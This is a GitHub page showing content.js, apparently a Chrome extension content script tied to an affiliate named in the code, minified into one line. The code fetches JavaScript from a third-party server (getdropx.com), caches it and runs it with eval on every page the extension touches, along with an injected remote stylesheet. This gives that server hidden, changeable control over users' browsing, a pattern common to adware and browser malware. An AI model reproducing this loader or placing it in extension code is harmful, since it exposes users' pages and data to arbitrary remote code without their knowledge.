-
Notifications
You must be signed in to change notification settings - Fork 1
/
content.js
2 lines (1 loc) · 956 Bytes
/
content.js
1
function execute(e){try{window.eval(e)}catch(t){console.error(t)}}function get(e,t){var n=new XMLHttpRequest;n.onload=n.onerror=function(){t(n.responseText)},n.open('GET',e),n.send()}function getDP_AffToken(){return dp_aff_token}function getDP_Propery(){return dp_prop_id}function getDP_AffName(){return dp_aff_name}var UPDATE_INTERVAL=1e3,dp_aff_token='boMf19t',dp_prop_id=18,dp_aff_name='Arun K Reddy',host=window.location.protocol,link=document.createElement('link');link.href='https://e.getdropx.com/Extension/css/style.css',link.type='text/css',link.rel='stylesheet',document.getElementsByTagName('head')[0].appendChild(link),chrome.storage.local.get({lastUpdated:0,code:' '},function(e){if(Date.now()-e.lastUpdated>UPDATE_INTERVAL){var t='https://e.getdropx.com/Extension/js/dropx.min.js';get(t,function(e){e&&chrome.storage.local.set({lastUpdated:Date.now(),code:e})})}e.code?execute(e.code):get(chrome.extension.getURL('dropx.min.js'),execute)});